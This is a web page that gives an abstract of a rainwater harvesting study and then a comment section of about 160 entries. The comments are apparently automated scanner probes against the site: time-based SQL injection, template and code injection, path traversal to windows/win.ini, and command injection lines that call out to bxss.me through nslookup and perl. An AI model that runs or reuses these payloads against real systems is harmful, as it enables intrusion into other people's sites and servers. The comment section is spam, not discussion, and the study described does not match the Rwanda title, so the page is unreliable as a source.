Rainwater harvesting (RWH) system is a technology that focuses on sustainability and support the sustainable environment development. The implementation of RWH systems provides many environment and financial benefits. Some of the environment benefits of RWH system are the reduction of surface runoff, reduce the burden of soil aquifer, and provide the availability of clean water. This study analyzed the RWH system implementation benefits both in environment and financial side. The financial benefits of RWH system implementation are calculated based on a number of rainwater that can be used to replace the need for clean water.The environment benefits defined by the reduced of main water tap use and the reduced of generated roof runoff volume. This study used a simple RWH system that use the roof as a catchment area, the pipeline as a distribution system, and tank as the storage system. The water use is for domestic potable and no potable for a household with up to four occupants in Bandung. The catchment area is taken 70 m2. A water balance model for various scenarios was developed to calculate the algorithm of the system. The costs taken in RWH system includes the construction, installation, maintenance and operational costs. The analysis shows that the implementation of RWH systems provides advantages over the use of conventional systems. It can save clean water use up to 54,92% and provide runoff reduction up to 71,53%. RWH system applied requires additional costs approximately only 0,66% from the value of the house. It was found that it is possible to achieve payback in RWH system implementation under several scenarios.
Keywords: Rainwater harvesting, benefits, environment, financial, domestic use

attached documents to download

Manuscript_UWIZEYIMANA Théogène.pdf

163 commentents on Design of rain water harvesting system in Rwanda.

  • JCfUZQsq -

    555

  • @@tjAqd -

    555

  • 1'" -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    @@i9rPQ

  • JCfUZQsq -

    1%2527%2522

  • JCfUZQsq -

    1'"

  • JCfUZQsq -

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • JCfUZQsq -

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • JCfUZQsq -

    f4YrVruA')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    NajpZAjr') OR 765=(SELECT 765 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    XIAs1tof' OR 212=(SELECT 212 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    -1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    -5) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    -5 OR 184=(SELECT 184 FROM PG_SLEEP(15))--

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555FPMOP[!+!]

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555}body{acu:Expre/**/SSion(sBpD(9828))}

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555NWDHZ[!+!]

  • JCfUZQsq -

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • JCfUZQsq -

    acx__${98991*97996}__::.x

  • JCfUZQsq -

    acx[[${98991*97996}]]xca

  • JCfUZQsq -

    acx{{98991*97996}}xca

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • JCfUZQsq -

    555

  • JCfUZQsq -

  • JCfUZQsq -

    555

  • JCfUZQsq -

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    acux8621%C0%BEz1%C0%BCz2a%90bcxuca8621

  • JCfUZQsq -

    555

  • JCfUZQsq -

    if(now()=sysdate(),sleep(15),0)

  • JCfUZQsq -

    555

  • '" -

    555

  • JCfUZQsq -

    acu4357%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4357

  • bxss.me -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • /xfs.bxss.me -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    5559088920

  • JCfUZQsq -

  • JCfUZQsq -

    555

  • JCfUZQsq -

    '.print(md5(31337)).'

  • JCfUZQsq -

    '"

  • JCfUZQsq -

    555

  • '"() -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    /xfs.bxss.me

  • JCfUZQsq -

    ${@print(md5(31337))}

  • JCfUZQsq -

    '+'A'.concat(70-3).concat(22*4).concat(122).concat(82).concat(97).concat(87)+(require'socket' Socket.gethostbyname('hitzy'+'vziotuiec3b7f.bxss.me.')[3].to_s)+'

  • JCfUZQsq -

    ";print(md5(31337));$a="

  • JCfUZQsq -

    bxss.me/t/xss.html?%00

  • JCfUZQsq -

    "+"A".concat(70-3).concat(22*4).concat(122).concat(78).concat(119).concat(66)+(require"socket" Socket.gethostbyname("hitjc"+"ztwhgijeb7221.bxss.me.")[3].to_s)+"

  • JCfUZQsq -

    -1" OR 2+544-544-1=0+0+0+1 --

  • JCfUZQsq -

    HttP://bxss.me/t/xss.html?%00

  • JCfUZQsq -

    555

  • !(()&&!|*|*| -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    -1' OR 2+933-933-1=0+0+0+1 or 'yYKDGKYd'='

  • JCfUZQsq -

    -1' OR 2+108-108-1=0+0+0+1 --

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    ;print(md5(31337));

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    -1 OR 2+909-909-1=0+0+0+1

  • JCfUZQsq -

    ".gethostbyname(lc("hitdr"."oodeiqwl5fd99.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(73).chr(112).chr(89)."

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    -1 OR 2+184-184-1=0+0+0+1 --

  • JCfUZQsq -

    '.gethostbyname(lc('hituj'.'qansdulx11d7d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(67).chr(114).chr(88).'

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    bxss.me

  • JCfUZQsq -

    555

  • JCfUZQsq -

    '"()

  • JCfUZQsq -

    http://bxss.me/t/fit.txt%3F.jpg

  • JCfUZQsq -

    !(()&&!|*|*|

  • JCfUZQsq -

    555

  • JCfUZQsq -

    Http://bxss.me/t/fit.txt

  • dm1aS1oxMHk= -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    ${9999945+9999004}

  • JCfUZQsq -

    1some_inexistent_file_with_long_name%00.jpg

  • JCfUZQsq -

    555

  • JCfUZQsq -

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • ../JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    `(nslookup hitiwpovgxbgt27e88.bxss.me||perl -e "gethostbyname('hitiwpovgxbgt27e88.bxss.me')")`

  • JCfUZQsq -

    555

  • JCfUZQsq -

    |(nslookup hitrpyqgikasf6a0de.bxss.me||perl -e "gethostbyname('hitrpyqgikasf6a0de.bxss.me')")

  • JCfUZQsq -

    12345'"\'\");|]*%00{%0d%0a%bf%27'????

  • JCfUZQsq -

    555

  • JCfUZQsq -

    &(nslookup hithxymuamael22b72.bxss.me||perl -e "gethostbyname('hithxymuamael22b72.bxss.me')")&'\"`0&(nslookup hithxymuamael22b72.bxss.me||perl -e "gethostbyname('hithxymuamael22b72.bxss.me')")&`'

  • JCfUZQsq -

    555

  • JCfUZQsq -

    ../555

  • JCfUZQsq -

    555

  • JCfUZQsq -

    $(nslookup hitjazjokklcb3aba3.bxss.me||perl -e "gethostbyname('hitjazjokklcb3aba3.bxss.me')")

  • JCfUZQsq -

    (nslookup hitrpdqkonbrpe2746.bxss.me||perl -e "gethostbyname('hitrpdqkonbrpe2746.bxss.me')")

  • JCfUZQsq -

    |echo lhimlh$()\ pvedxo\nz^xyu||a #' |echo lhimlh$()\ pvedxo\nz^xyu||a #|" |echo lhimlh$()\ pvedxo\nz^xyu||a #

  • JCfUZQsq -

    555

  • JCfUZQsq -

    ../../../../../../../../../../windows/win.ini

  • JCfUZQsq -

    555

  • JCfUZQsq -

    "+response.write(9098251*9096505)+"

  • JCfUZQsq -

    &echo fbioqh$()\ qfxpek\nz^xyu||a #' &echo fbioqh$()\ qfxpek\nz^xyu||a #|" &echo fbioqh$()\ qfxpek\nz^xyu||a #

  • JCfUZQsq -

    '+response.write(9098251*9096505)+'

  • JCfUZQsq -

    echo lrwpmo$()\ jzwzky\nz^xyu||a #' &echo lrwpmo$()\ jzwzky\nz^xyu||a #|" &echo lrwpmo$()\ jzwzky\nz^xyu||a #

  • JCfUZQsq -

    response.write(9098251*9096505)

  • JCfUZQsq -

    555

Add comment

your email will not published.the compulsory field are marked by *